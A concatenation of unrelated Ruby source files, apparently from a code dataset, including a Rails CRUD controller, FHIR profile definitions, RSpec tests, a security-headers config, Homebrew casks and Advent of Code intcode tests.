if actualizar_intermedio && validaciones(@registro) &&
@registro.valid? && @registro.save
if registrar_en_bitacora
regcorto = clase.demodulize.underscore.to_s
Sip::Bitacora.agregar_actualizar(request, regcorto,
:bitacora_cambio,
current_usuario.id,
params,
@registro.class.to_s,
@registro.id)
end
format.html {
if params[:_sip_enviarautomatico_y_repinta]
redirect_to edit_modelo_path(@registro),
turbolinks: false
else
actualizada = genclase == 'M' ? 'actualizado' :
'actualizada';
redirect_to modelo_path(@registro),
notice: clase + " #{actualizada}."
return
end
}
format.json {
head :no_content
}
else
format.html {
flash[:error] = @validaciones_error
render action: 'edit', layout: 'application'
}
format.json {
render json: @registro.errors,
status: :unprocessable_entity
}
end
end
end
def update(registro = nil)
update_gen(registro)
end
# Elimina un registro
def destroy_gen(mens = "", verifica_tablas_union=true)
@registro = clase.constantize.find(params[:id])
if @registro.respond_to?('current_usuario=')
@registro.current_usuario = current_usuario
end
authorize! :destroy, @registro
if verifica_tablas_union && @registro.class.columns_hash
m = @registro.class.reflect_on_all_associations(:has_many)
m.each do |r|
if !r.options[:through]
rel = @registro.send(r.name)
if (rel.count > 0)
nom = rel[0].class.human_attribute_name(r.name)
mens += " Este registro se relaciona con " +
"#{rel.count} registro(s) '#{nom}' (con id(s) " +
"#{rel.map(&:id).join(', ')}), " +
"no puede eliminarse aún. "
end
end
end
m = @registro.class.reflect_on_all_associations(:has_and_belongs_to_many)
m.each do |r|
if !r.options[:through]
rel = @registro.send(r.name)
if (rel.count > 0)
nom = rel[0].class.human_attribute_name(r.name)
mens += " Este registro se relaciona con " +
"#{rel.count} registro(s) '#{nom}' (con id(s) " +
"#{rel.map(&:id).join(', ')}), " +
"no puede eliminarse aún. "
end
end
end
if mens != ''
redirect_back fallback_location: main_app.root_path,
flash: {error: mens}
return
end
end
[email protected]_s
[email protected]
@registro.destroy
if registrar_en_bitacora
Sip::Bitacora.a(request.remote_ip, current_usuario.id,
request.url, params, cregistro,
cregistroid, 'eliminar', '')
end
eliminada = genclase == 'M' ? 'eliminado' : 'eliminada';
respond_to do |format|
format.html { redirect_to modelos_url(@registro),
notice: clase + " #{eliminada}." }
format.json { head :no_content }
end
end
# Elimina
def destroy(mens = "", verifica_tablas_union=true)
destroy_gen(mens, verifica_tablas_union)
end
# Nombre del modelo
def clase
"Sip::ModelosCambiar"
end
# Genero del modelo (F - Femenino, M - Masculino)
def genclase
return 'F';
end
# Campos de la tabla por presentar en listado
def atributos_index
["id",
"created_at",
"updated_at"
]
end
# Campos por mostrar en presentación de un registro
def atributos_show
atributos_index
end
# Campos que se presentar en formulario
def atributos_form
atributos_show -
["id", :id, 'created_at', :created_at, 'updated_at', :updated_at]
end
# Campos por retornar como API JSON
def atributos_show_json
atributos_show
end
helper_method :clase, :atributos_index, :atributos_form,
:atributos_show, :atributos_show_json, :genclase
end # included
end
end
end
end
| 36.250929 | 131 | 0.485977 |
5d43eb5726c2101a529837bbc4b66d3156f733f5 | 4,239 | # frozen_string_literal: true
module Inferno
module USCore311ProfileDefinitions
class USCore311PulseOximetrySequenceDefinitions
MUST_SUPPORTS = {
extensions: [],
slices: [
{
name: 'Observation.category:VSCat',
path: 'category',
discriminator: {
type: 'value',
values: [
{
path: 'coding.code',
value: 'vital-signs'
},
{
path: 'coding.system',
value: 'http://terminology.hl7.org/CodeSystem/observation-category'
}
]
}
},
{
name: 'Observation.code.coding:PulseOx',
path: 'code.coding',
discriminator: {
type: 'value',
values: [
{
path: 'code',
value: '59408-5'
},
{
path: 'system',
value: 'http://loinc.org'
}
]
}
},
{
name: 'Observation.value[x]:valueQuantity',
path: 'value',
discriminator: {
type: 'type',
code: 'Quantity'
}
},
{
name: 'Observation.component:FlowRate',
path: 'component',
discriminator: {
type: 'patternCodeableConcept',
path: 'code',
code: '3151-8',
system: 'http://loinc.org'
}
},
{
name: 'Observation.component:Concentration',
path: 'component',
discriminator: {
type: 'patternCodeableConcept',
path: 'code',
code: '3150-0',
system: 'http://loinc.org'
}
}
],
elements: [
{
path: 'status'
},
{
path: 'category'
},
{
path: 'category.coding'
},
{
path: 'category.coding.system',
fixed_value: 'http://terminology.hl7.org/CodeSystem/observation-category'
},
{
path: 'category.coding.code',
fixed_value: 'vital-signs'
},
{
path: 'code'
},
{
path: 'code.coding'
},
{
path: 'code.coding.system',
fixed_value: 'http://loinc.org'
},
{
path: 'code.coding.code',
fixed_value: '59408-5'
},
{
path: 'subject'
},
{
path: 'effective'
},
{
path: 'value'
},
{
path: 'value.value'
},
{
path: 'value.unit'
},
{
path: 'value.system',
fixed_value: 'http://unitsofmeasure.org'
},
{
path: 'value.code',
fixed_value: '%'
},
{
path: 'dataAbsentReason'
},
{
path: 'component'
},
{
path: 'component.code'
},
{
path: 'component.code.coding.code',
fixed_value: '3151-8'
},
{
path: 'component.value.system',
fixed_value: 'http://unitsofmeasure.org'
},
{
path: 'component.value.code',
fixed_value: 'L/min'
},
{
path: 'component.code.coding.code',
fixed_value: '3150-0'
},
{
path: 'component.value'
},
{
path: 'component.value.value'
},
{
path: 'component.value.unit'
},
{
path: 'component.value.code',
fixed_value: '%'
},
{
path: 'component.dataAbsentReason'
}
]
}.freeze
DELAYED_REFERENCES = [].freeze
end
end
end
| 24.222857 | 85 | 0.36636 |
f873b0cf6c267b1e8dbb80be484990282770fc33 | 4,059 | # frozen_string_literal: true
require 'spec_helper'
describe 'apache::mod', type: :define do
let :pre_condition do
'include apache'
end
let :title do
'spec_m'
end
context 'on a RedHat osfamily' do
include_examples 'RedHat 6'
describe 'for non-special modules' do
it { is_expected.to contain_class('apache::params') }
it 'manages the module load file' do
is_expected.to contain_file('spec_m.load').with(path: '/etc/httpd/conf.d/spec_m.load',
content: "LoadModule spec_m_module modules/mod_spec_m.so\n",
owner: 'root',
group: 'root',
mode: '0644')
end
end
describe 'with file_mode set' do
let :pre_condition do
"class {'::apache': file_mode => '0640'}"
end
it 'manages the module load file' do
is_expected.to contain_file('spec_m.load').with(mode: '0640')
end
end
describe 'with shibboleth module and package param passed' do
# name/title for the apache::mod define
let :title do
'xsendfile'
end
# parameters
let(:params) { { package: 'mod_xsendfile' } }
it { is_expected.to contain_class('apache::params') }
it { is_expected.to contain_package('mod_xsendfile') }
end
end
context 'on a Debian osfamily' do
include_examples 'Debian 11'
describe 'for non-special modules' do
it { is_expected.to contain_class('apache::params') }
it 'manages the module load file' do
is_expected.to contain_file('spec_m.load').with(path: '/etc/apache2/mods-available/spec_m.load',
content: "LoadModule spec_m_module /usr/lib/apache2/modules/mod_spec_m.so\n",
owner: 'root',
group: 'root',
mode: '0644')
end
it 'links the module load file' do
is_expected.to contain_file('spec_m.load symlink').with(path: '/etc/apache2/mods-enabled/spec_m.load',
target: '/etc/apache2/mods-available/spec_m.load',
owner: 'root',
group: 'root',
mode: '0644')
end
end
end
context 'on a FreeBSD osfamily' do
include_examples 'FreeBSD 9'
describe 'for non-special modules' do
it { is_expected.to contain_class('apache::params') }
it 'manages the module load file' do
is_expected.to contain_file('spec_m.load').with(path: '/usr/local/etc/apache24/Modules/spec_m.load',
content: "LoadModule spec_m_module /usr/local/libexec/apache24/mod_spec_m.so\n",
owner: 'root',
group: 'wheel',
mode: '0644')
end
end
end
context 'on a Gentoo osfamily' do
include_examples 'Gentoo'
describe 'for non-special modules' do
it { is_expected.to contain_class('apache::params') }
it 'manages the module load file' do
is_expected.to contain_file('spec_m.load').with(path: '/etc/apache2/modules.d/spec_m.load',
content: "LoadModule spec_m_module /usr/lib/apache2/modules/mod_spec_m.so\n",
owner: 'root',
group: 'wheel',
mode: '0644')
end
end
end
end
| 39.407767 | 136 | 0.480168 |
1c93297c94d43a14c7b6a70e588b2f28fa76cc54 | 4,653 | # frozen_string_literal: true
require "rails_helper"
RSpec.describe GeoserverMessageGenerator do
with_queue_adapter :inline
subject(:generator) { described_class.new(resource: file_set) }
let(:resource_title) { "Test Title" }
let(:file_set) { query_service.find_members(resource: resource).to_a.first }
let(:query_service) { Valkyrie.config.metadata_adapter.query_service }
let(:event_generator) { instance_double(EventGenerator, derivatives_created: true) }
let(:geoserver_derivatives_path) { Figgy.config["geoserver"]["derivatives_path"] }
before do
allow(EventGenerator).to receive(:new).and_return(event_generator)
end
describe "#generate" do
context "with a public vector resource derivative" do
let(:file) { fixture_file_upload("files/vector/shapefile.zip", "application/zip") }
let(:tika_output) { tika_shapefile_output }
let(:resource) do
FactoryBot.create_for_repository(
:vector_resource,
files: [file],
title: RDF::Literal.new(resource_title, language: :en),
visibility: Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC
)
end
let(:shapefile_name) { "display_vector/p-#{file_set.id}.shp" }
it "returns a valid message hash" do
output = generator.generate
expect(output["id"]).to eq("p-#{file_set.id}")
expect(output["layer_type"]).to eq(:shapefile)
expect(output["workspace"]).to eq(Figgy.config["geoserver"]["open"]["workspace"])
expect(output["path"]).to include(shapefile_name, geoserver_derivatives_path)
expect(output["title"]).to eq(resource_title)
end
end
context "without a valid parent resource" do
let(:file) { fixture_file_upload("files/vector/shapefile.zip", "application/zip") }
let(:tika_output) { tika_shapefile_output }
let(:resource) do
FactoryBot.create_for_repository(
:vector_resource,
files: [file],
title: RDF::Literal.new(resource_title, language: :en),
visibility: Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC
)
end
let(:file_set_decorator) { instance_double(FileSetDecorator) }
before do
allow(file_set).to receive(:decorate).and_return(file_set_decorator)
allow(file_set_decorator).to receive(:parent)
end
it "returns a valid delete message hash with default values" do
output = generator.generate
expect(output["id"]).to eq("p-#{file_set.id}")
expect(output["layer_type"]).to eq(:shapefile)
expect(output["workspace"]).to eq(Figgy.config["geoserver"]["authenticated"]["workspace"])
expect(output["title"]).to eq("")
end
end
context "with a missing file" do
let(:file) { fixture_file_upload("files/vector/shapefile.zip", "application/zip") }
let(:tika_output) { tika_shapefile_output }
let(:resource) do
FactoryBot.create_for_repository(
:vector_resource,
files: [file],
title: RDF::Literal.new(resource_title, language: :en),
visibility: Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC
)
end
before do
derivative_id = file_set.derivative_file.file_identifiers.first
allow(Valkyrie::StorageAdapter).to receive(:find_by).with(id: derivative_id).and_raise(Valkyrie::StorageAdapter::FileNotFound)
end
it "returns a valid delete message hash with a default derivate file path" do
output = generator.generate
expect(output["path"]).to include("file://.//")
end
end
context "with a restricted raster resource derivative" do
let(:file) { fixture_file_upload("files/raster/geotiff.tif", "image/tif") }
let(:tika_output) { tika_geotiff_output }
let(:resource) do
FactoryBot.create_for_repository(
:raster_resource,
files: [file],
title: RDF::Literal.new(resource_title, language: :en),
visibility: Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_AUTHENTICATED
)
end
let(:geo_tiff_name) { "display_raster.tif" }
it "returns a valid message hash" do
output = generator.generate
expect(output["id"]).to eq("p-#{file_set.id}")
expect(output["layer_type"]).to eq(:geotiff)
expect(output["workspace"]).to eq(Figgy.config["geoserver"]["authenticated"]["workspace"])
expect(output["path"]).to include(geo_tiff_name, geoserver_derivatives_path)
expect(output["title"]).to eq(resource_title)
end
end
end
end
| 40.112069 | 134 | 0.670965 |
9147ba7e945b746fdf04362d32718d90b38b6d17 | 155 | # frozen_string_literal: true
Rails.application.config.filter_parameters += [
:passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
]
| 25.833333 | 73 | 0.709677 |
e85d30e6e3ef9d105893292202cdf23055258b6a | 386 | class AddTransactionFeeToCoreAffiliates < ActiveRecord::Migration[5.2]
def change
add_column :core_affiliates, :transaction_fee, :decimal, null: false, default: 0.0, after: :tax_exempt, precision: 5, scale: 2
remove_column :core_affiliates, :purchase_order_email
remove_column :core_affiliates, :invoice_email
remove_column :core_affiliates, :shipment_email
end
end
| 42.888889 | 130 | 0.784974 |
1a471d917bf059b66e2ffd87ebd3dceb1c2bb78b | 2,268 | # frozen_string_literal: true
# Copyright 2015-2017, the Linux Foundation, IDA, and the
# CII Best Practices badge contributors
# SPDX-License-Identifier: MIT
# rubocop:disable Metrics/BlockLength
SecureHeaders::Configuration.default do |config|
normal_src = ["'self'"]
if ENV['PUBLIC_HOSTNAME']
fastly_alternate = 'https://' + ENV['PUBLIC_HOSTNAME'] +
'.global.ssl.fastly.net'
normal_src += [fastly_alternate]
end
config.hsts = "max-age=#{20.years.to_i}; includeSubDomains; preload"
config.x_frame_options = 'DENY'
config.x_content_type_options = 'nosniff'
config.x_xss_protection = '1; mode=block'
config.x_download_options = 'noopen'
config.x_permitted_cross_domain_policies = 'none'
config.referrer_policy = 'no-referrer-when-downgrade'
# Configure CSP
config.csp = {
# Control information sources
default_src: normal_src,
img_src: [
'secure.gravatar.com', 'avatars.githubusercontent.com',
"'self'"
],
object_src: ["'none'"],
script_src: normal_src,
style_src: normal_src,
# Harden CSP against attacks in other ways
base_uri: ["'self'"],
block_all_mixed_content: true, # see http://www.w3.org/TR/mixed-content/
frame_ancestors: ["'none'"],
form_action: ["'self'"] # This counters some XSS busters
}
config.cookies = {
secure: true, # mark all cookies as Secure
# NOTE: The following marks all cookies as HttpOnly. This will need
# need to change if there's more JavaScript-based interaction.
httponly: true,
# Use SameSite to counter CSRF attacks when browser supports it
# https://www.sjoerdlangkemper.nl/2016/04/14/
# preventing-csrf-with-samesite-cookie-attribute/
samesite: {
strict: false # mark all cookies as SameSite=Lax (not Strict)
}
}
# Not using Public Key Pinning Extension for HTTP (HPKP).
# Yes, it can counter some attacks, but it can also cause a lot of problems;
# one wrong move can render the site useless, and it makes it hard to
# switch CAs if the CA behaves badly.
end
# rubocop:enable Metrics/BlockLength
# override default configuration
SecureHeaders::Configuration.override(:allow_github_form_action) do |config|
config.csp[:form_action] += ['github.com']
end
| 36.580645 | 78 | 0.705467 |
bb92bd056b645252321fbe89a9de2023d3fa9abd | 81 | $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'blender/cli'
| 27 | 58 | 0.728395 |
bf17c5c02ed3bc8808d99d119767507afdf6c7b0 | 151 | #
# Engine to add to main rails app
#
module MaterialIconsSvg
# Set the base engine to connect with rails
class Engine < ::Rails::Engine
end
end
| 16.777778 | 45 | 0.721854 |
1c120ec1ea189faf0ed84c9e13356f611cbb33e7 | 41 | module Mousereco
VERSION = "0.0.6"
end
| 10.25 | 19 | 0.682927 |
28b819d149399702801132ec9851b5488d142419 | 457 | Puppet::Type.type(:ironic_config).provide(
:ini_setting,
:parent => Puppet::Type.type(:ini_setting).provider(:ruby)
) do
def section
resource[:name].split('/', 2).first
end
def setting
resource[:name].split('/', 2).last
end
def separator
'='
end
def self.file_path
'/etc/ironic/ironic.conf'
end
# added for backwards compatibility with older versions of inifile
def file_path
self.class.file_path
end
end
| 16.321429 | 68 | 0.669584 |
f79c5f4eafe938a9964863182a3e24c06e4c6647 | 467 | # encoding: utf-8
# class Test
# extend Rango::Hookable
# install_hook do |instance|
# p instance
# end
#
# def initialize
# p self
# end
# end
#
# Test.new
module Rango
module Hookable
def new(*args)
instance = super(*args)
self.hooks.each { |hook| hook.call(instance) }
return instance
end
def hooks
@hooks ||= Array.new
end
def install_hook(&block)
self.hooks.push(block)
end
end
end
| 14.151515 | 52 | 0.595289 |
8799914db3f516c4d61ae1a4edbafb41d0786a30 | 678 | require 'simplecov'
module SimpleCov::Configuration
def clean_filters
@filters = []
end
end
SimpleCov.configure do
clean_filters
load_adapter 'test_frameworks'
end
ENV["COVERAGE"] && SimpleCov.start do
add_filter "/.rvm/"
end
require 'rubygems'
require 'bundler'
begin
Bundler.setup(:default, :development)
rescue Bundler::BundlerError => e
$stderr.puts e.message
$stderr.puts "Run `bundle install` to install missing gems"
exit e.status_code
end
require 'test/unit'
require 'shoulda'
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
$LOAD_PATH.unshift(File.dirname(__FILE__))
require 'hola-0.0.1.gem'
class Test::Unit::TestCase
end
| 19.371429 | 66 | 0.741888 |
397dcd695740132bbf71660b3189375afcfedd89 | 391 | # rubocop:disable Style/ClassAndModuleChildren
require_dependency "content_manager/application_controller"
module ContentManager
class AdminsController < ApplicationController
include SessionsHelper
helper_method :log_in
helper_method :site_name
layout 'admin'
protected
def authenticate_admin!
return true if logged_admin_in?
redirect_to admin_login_path
end
end
| 21.722222 | 59 | 0.820972 |
1c18d80287673d6b312b03c25396e09278816e0b | 1,567 | # frozen_string_literal: true
module DocTemplate
module Objects
module TocHelpers
extend ActiveSupport::Concern
def level1_by_title(title)
l1 = children.find { |c| !c.handled && c.title.parameterize == title }
raise Lcms::Engine::DocumentError, "Level1 header #{title} not found at metadata" unless l1.present?
l1.handled = true
l1
end
def level2_by_title(title)
children.each do |c|
l2 = c.children.find { |c1| c1.title.parameterize == title }
return l2 if l2.present?
end
raise Lcms::Engine::DocumentError, "Level2 header #{title} not found at metadata"
end
def find_by_anchor(anchor)
l1 = children.find { |c| c.anchor == anchor }
raise Lcms::Engine::DocumentError, "Anchor #{anchor} not found at metadata" if l1.blank?
l1
end
# TODO: This will be needed for refactoring group/sections to lookup by anchors
# def find_by_anchor(anchor)
# children.each do |s|
# result = s.children.detect { |c| c.anchor == anchor }
# return result if result.present?
# end
# raise Lcms::Engine::DocumentError, "Anchor #{anchor} not found at metadata"
# end
class_methods do
def set_index(data, params = { idx: 0 })
return data if data['idx'].present?
data['idx'] = params[:idx]
params[:idx] += 1
(data[:children] || []).each { |c| set_index(c, params) }
data
end
end
end
end
end
| 29.566038 | 108 | 0.5903 |
e85855ff2ded904f378661530c31879098dba47b | 1,234 | require 'spec_helper'
describe RemindRegistrationDropoffs do
subject(:interactor) { described_class.new(user_mailer: umailer) }
let(:umailer) { class_double(UserMailer, reg_reminder: spy) }
it "sends email to users who haven't registered" do
allow(interactor).to receive(:lazy_users) { [create(:user)] }
interactor.call
expect(umailer).to have_received(:reg_reminder)
end
it "finds old users with no enrollments" do
create(:enrollment).user
create(:user, name: "New User")
old_user = create(:user, name: "Old User", created_at: 3.weeks.ago)
allow(interactor).to receive(:remind)
interactor.call
expect(interactor).to have_received(:remind).once.with(old_user)
end
it "sends emails only once" do
user = create(:user, created_at: 3.weeks.ago)
allow(interactor).to receive(:remind)
interactor.call.call
expect(interactor).to have_received(:remind).with(user).once
end
it "doesn't send emails for users who don't want to receive them" do
optout = create(:user, created_at: 3.weeks.ago, email_opt_out: :bad_email)
allow(interactor).to receive(:remind)
interactor.call
expect(interactor).not_to have_received(:remind).with(optout)
end
end
| 28.045455 | 78 | 0.71637 |
ffb84203765f001b72e974be9c93a61d857e3aac | 953 | cask "geogebra" do
version "6.0.603.0"
sha256 "98553962e4b899c4631b202b161a0e909c348ddcc98e1d0748f532f8f001d408"
url "https://download.geogebra.org/installers/#{version.major_minor}/GeoGebra-Classic-#{version.major}-MacOS-Portable-#{version.dots_to_hyphens}.zip"
appcast "https://download.geogebra.org/installers/#{version.major_minor}/version.txt",
must_contain: version.dots_to_hyphens
name "GeoGebra"
desc "Solve, save and share math problems, graph functions, etc"
homepage "https://www.geogebra.org/"
app "GeoGebra Classic #{version.major}.app"
uninstall quit: "org.geogebra.mathapps",
login_item: "GeoGebra",
pkgutil: "org.geogebra6.mac"
zap trash: [
"~/Library/GeoGebra",
"~/Library/Preferences/org.geogebra.mathapps.helper.plist",
"~/Library/Preferences/org.geogebra.mathapps.plist",
"~/Library/Saved Application State/org.geogebra.mathapps.savedState",
]
end
| 38.12 | 151 | 0.720881 |
1d994718e29c7c1d012151075d2511bc4b7a7c4f | 573 | # frozen_string_literal: true
module Tamashii
module Manager
# :nodoc:
class Authorization < Tamashii::Handler
def resolve(data = nil)
type, client_id = case @type
when Tamashii::Type::AUTH_TOKEN
Authorizator::Token.new.verify!(data)
else
raise Error::AuthorizationError,
'Invalid authorization type.'
end
@env[:client].accept(type, client_id)
end
end
end
end
| 28.65 | 65 | 0.493892 |
d557d2e474bc0fa2769d8f73954ea1f365c1f280 | 534 | cask 'opera' do
version '60.0.3255.95'
sha256 'a6bad86cdfbe4cd6b7c22d7580a5b9a9e9760b6533e6e98e9fbe0a118fa23d48'
url "https://get.geo.opera.com/pub/opera/desktop/#{version}/mac/Opera_#{version}_Setup.dmg"
appcast 'https://ftp.opera.com/pub/opera/desktop/'
name 'Opera'
homepage 'https://www.opera.com/'
auto_updates true
app 'Opera.app'
zap trash: [
'~/Library/Preferences/com.operasoftware.Opera.plist',
'~/Library/Application Support/com.operasoftware.Opera/',
]
end
| 28.105263 | 93 | 0.683521 |
4a8ab14df6d536f937c99b7779d1846c1bc7eb33 | 469 | # frozen_string_literal: true
# Migration to create client languages table
class CreateClientLanguages < ActiveRecord::Migration[6.1]
def change
create_table :client_languages do |t|
t.references :client, null: false, foreign_key: true
t.references :language, null: false, foreign_key: true
t.boolean :default, null: false, default: false
t.timestamps null: false
t.index %i[client_id language_id], unique: true
end
end
end
| 27.588235 | 60 | 0.71855 |
bb0b289f7e84c507ffc0987df667206fe2192fe0 | 197 | # frozen_string_literal: true
require 'cuprum/collections/constraints'
module Cuprum::Collections::Constraints
# Namespace for constraints that validate query ordering.
module Order; end
end
| 21.888889 | 59 | 0.807107 |
ac7fbc7f1652cd5fb6fc950cea38ccadcab713cd | 6,555 | # frozen_string_literal: true
require 'spec_helper'
require 'advent07'
require 'tracer'
describe Advent07 do
subject(:adv07) { described_class.new }
before do
prgs = {
'PRG1' => [3, 9, 8, 9, 10, 9, 4, 9, 99, -1, 8],
'PRG2' => [3, 9, 7, 9, 10, 9, 4, 9, 99, -1, 8],
'PRG3' => [3, 3, 1108, -1, 8, 3, 4, 3, 99],
'PRG4' => [3, 3, 1107, -1, 8, 3, 4, 3, 99],
'PRG5' => [3, 12, 6, 12, 15, 1, 13, 14, 13, 4, 13, 99, -1, 0, 1, 9],
'PRG6' => [3, 3, 1105, -1, 9, 1101, 0, 0, 12, 4, 12, 99, 1],
'PRG7' => [
3, 21, 1008, 21, 8, 20, 1005, 20, 22, 107, 8, 21, 20, 1006, 20, 31,
1106, 0, 36, 98, 0, 0, 1002, 21, 125, 20, 4, 20, 1105, 1, 46, 104,
999, 1105, 1, 46, 1101, 1000, 1, 20, 4, 20, 1105, 1, 46, 98, 99
],
'PRG8' => [
3, 15, 3, 16, 1002, 16, 10, 16, 1, 16, 15, 15, 4, 15, 99, 0, 0
],
'PRG9' => [
3, 23, 3, 24, 1002, 24, 10, 24, 1002, 23, -1, 23,
101, 5, 23, 23, 1, 24, 23, 23, 4, 23, 99, 0, 0
],
'PRG10' => [
3, 31, 3, 32, 1002, 32, 10, 32, 1001, 31, -2, 31, 1007, 31, 0, 33,
1002, 33, 7, 33, 1, 33, 31, 31, 1, 32, 31, 31, 4, 31, 99, 0, 0, 0
],
'PRG11' => [
3, 26, 1001, 26, -4, 26, 3, 27, 1002, 27, 2, 27, 1, 27, 26,
27, 4, 27, 1001, 28, -1, 28, 1005, 28, 6, 99, 0, 0, 5
],
'PRG12' => [
3, 52, 1001, 52, -5, 52, 3, 53, 1, 52, 56, 54, 1007, 54, 5, 55, 1005,
55, 26, 1001, 54, -5, 54, 1105, 1, 12, 1, 53, 54, 53, 1008, 54, 0, 55,
1001, 55, 1, 55, 2, 53, 55, 53, 4, 53, 1001, 56, -1, 56, 1005, 56, 6,
99, 0, 0, 0, 0, 10
]
}
prgs.each { |k, v| stub_const(k, v) }
end
# 1,0,0,0,99 becomes 2,0,0,0,99 (1 + 1 = 2).
it 'transforms sample 1 as expected' do
expect(adv07.run([1, 0, 0, 0, 99]))
.to eq([2, 0, 0, 0, 99])
end
# 2,3,0,3,99 becomes 2,3,0,6,99 (3 * 2 = 6).
it 'transforms sample 2 as expected' do
expect(adv07.run([2, 3, 0, 3, 99]))
.to eq([2, 3, 0, 6, 99])
end
# 2,4,4,5,99,0 becomes 2,4,4,5,99,9801 (99 * 99 = 9801).
it 'transforms sample 3 as expected' do
expect(adv07.run([2, 4, 4, 5, 99, 0]))
.to eq([2, 4, 4, 5, 99, 9801])
end
# 1,1,1,4,99,5,6,0,99 becomes 30,1,1,4,2,5,6,0,99.
it 'transforms sample 4 as expected' do
expect(adv07.run([1, 1, 1, 4, 99, 5, 6, 0, 99]))
.to eq([30, 1, 1, 4, 2, 5, 6, 0, 99])
end
it 'transforms sample 0 as expected' do
expect(adv07.run([1, 9, 10, 3, 2, 3, 11, 0, 99, 30, 40, 50]))
.to eq([3500, 9, 10, 70, 2, 3, 11, 0, 99, 30, 40, 50])
end
it 'handles opcode 3' do
input = StringIO.new("42\n")
expect(adv07.run([3, 3, 99, 0], input)).to eq([3, 3, 99, 42])
end
it 'handles opcode 4' do
expect { adv07.run([4, 3, 99, 42]) }.to output("42\n").to_stdout
end
it 'handles immediate parameters' do
expect(adv07.run([1002, 4, 3, 4, 33]))
.to eq([1002, 4, 3, 4, 99])
end
it 'handles negative numbers' do
expect(adv07.run([1101, 100, -1, 4, 0]))
.to eq([1101, 100, -1, 4, 99])
end
it 'detects input == 8 using position mode' do
input = StringIO.new("8\n")
expect { adv07.run(PRG1.dup, input) }.to output("1\n").to_stdout
end
it 'detects input != 8 using position mode' do
input = StringIO.new("42\n")
expect { adv07.run(PRG1.dup, input) }.to output("0\n").to_stdout
end
it 'detects input < 8 using position mode' do
input = StringIO.new("7\n")
expect { adv07.run(PRG2.dup, input) }.to output("1\n").to_stdout
end
it 'detects input !< (==) 8 using position mode' do
input = StringIO.new("8\n")
expect { adv07.run(PRG2.dup, input) }.to output("0\n").to_stdout
end
it 'detects input !< (>) 8 using position mode' do
input = StringIO.new("9\n")
expect { adv07.run(PRG2.dup, input) }.to output("0\n").to_stdout
end
it 'detects input == 8 using immediate mode' do
input = StringIO.new("8\n")
expect { adv07.run(PRG3.dup, input) }.to output("1\n").to_stdout
end
it 'detects input != 8 using immediate mode' do
input = StringIO.new("42\n")
expect { adv07.run(PRG3.dup, input) }.to output("0\n").to_stdout
end
it 'detects input < 8 using immediate mode' do
input = StringIO.new("7\n")
expect { adv07.run(PRG4.dup, input) }.to output("1\n").to_stdout
end
it 'detects input !< (==) 8 using immediate mode' do
input = StringIO.new("8\n")
expect { adv07.run(PRG4.dup, input) }.to output("0\n").to_stdout
end
it 'detects input !< (>) 8 using immediate mode' do
input = StringIO.new("9\n")
expect { adv07.run(PRG4.dup, input) }.to output("0\n").to_stdout
end
it 'detects zero using jump with position mode' do
input = StringIO.new("0\n")
expect { adv07.run(PRG5.dup, input) }.to output("0\n").to_stdout
end
it 'detects non-zero using jump with position mode' do
input = StringIO.new("1\n")
expect { adv07.run(PRG5.dup, input) }.to output("1\n").to_stdout
end
it 'detects zero using jump with immediate mode' do
input = StringIO.new("0\n")
expect { adv07.run(PRG6.dup, input) }.to output("0\n").to_stdout
end
it 'detects non-zero using jump with immediate mode' do
input = StringIO.new("1\n")
expect { adv07.run(PRG6.dup, input) }.to output("1\n").to_stdout
end
it 'prints 999 for input < 8' do
input = StringIO.new("7\n")
expect { adv07.run(PRG7.dup, input) }.to output("999\n").to_stdout
end
it 'prints 1000 for input == 8' do
input = StringIO.new("8\n")
expect { adv07.run(PRG7.dup, input) }.to output("1000\n").to_stdout
end
it 'prints 1001 for input > 8' do
input = StringIO.new("9\n")
expect { adv07.run(PRG7.dup, input) }.to output("1001\n").to_stdout
end
it 'finds max signal 43210 for Day 7 Pt 1 example 1' do
# Tracer.on
# adv07.amplify PRG8.dup
expect { adv07.amplify(PRG8.dup) }.to output("43210\n").to_stdout
# Tracer.off
end
it 'finds max signal 54321 for Day 7 Pt 1 example 2' do
expect { adv07.amplify(PRG9.dup) }.to output("54321\n").to_stdout
end
it 'finds max signal 65210 for Day 7 Pt 1 example 3' do
expect { adv07.amplify(PRG10.dup) }.to output("65210\n").to_stdout
end
it 'finds max signal 139629729 for Day 7 Pt 2 example 1' do
expect { adv07.amplify_feedback(PRG11.dup) }
.to output("139629729\n").to_stdout
end
it 'finds max signal 18216 for Day 7 Pt 2 example 2' do
expect { adv07.amplify_feedback(PRG12.dup) }
.to output("18216\n").to_stdout
end
end
| 31.820388 | 78 | 0.564912 |
6ad7c8e460dca18fad168e007876e93ee59a26bc | 334 | require "bundler/setup"
require 'pry'
require 'spec_helper'
require 'influx_orm'
db_name = 'test'
client = InfluxDB::Client.new
RSpec.configure do |config|
config.before :all do
client.create_database db_name
end
config.before :each do
client.delete_database db_name
client.create_database db_name
end
end
| 13.916667 | 34 | 0.742515 |
03a0383d59a776a1afaf4bc2cfcd53a4f72c8716 | 1,019 | # frozen_string_literal: true
# No shebang here. Usage:
# ruby -I lib benchmark/mwm_bipartite/complete_bigraphs/benchmark.rb
require 'benchmark'
require 'graph_matching'
MIN_SIZE = 2
MAX_SIZE = 300
$stdout.sync = true
# Returns a bipartite graph that is:
#
# 1. Complete - Each vertex in U has an edge to each vertex in V
# 2. Weighted - Each edge has a different, consecutive integer weight
# 3. "Balanced" - In an even bigraph, U and V have the same number of
# vertexes. In an odd bigraph, U has one more than V.
# 0 <= abs(U - V) <= 1
#
def complete_weighted_bigraph(n)
g = GraphMatching::Graph::WeightedBigraph.new
max_u = (n.to_f / 2).ceil
min_v = max_u + 1
weight = 1
1.upto(max_u) do |i|
min_v.upto(n) do |j|
g.add_edge(i, j)
g.set_w([i, j], weight)
weight += 1
end
end
g
end
MIN_SIZE.upto(MAX_SIZE) do |v|
print format("%5d\t", v)
g = complete_weighted_bigraph(v)
GC.disable
puts(Benchmark.realtime { g.maximum_weighted_matching })
GC.enable
end
| 23.159091 | 69 | 0.679097 |
39049d7a3bcefa4b1ab3d952e34024fb99ba3aad | 730 | cask 'jollysfastvnc' do
version '1.54'
sha256 '2d205f98db9afaef25e591166a82aab84263df9def3214eea53af423f43e8017'
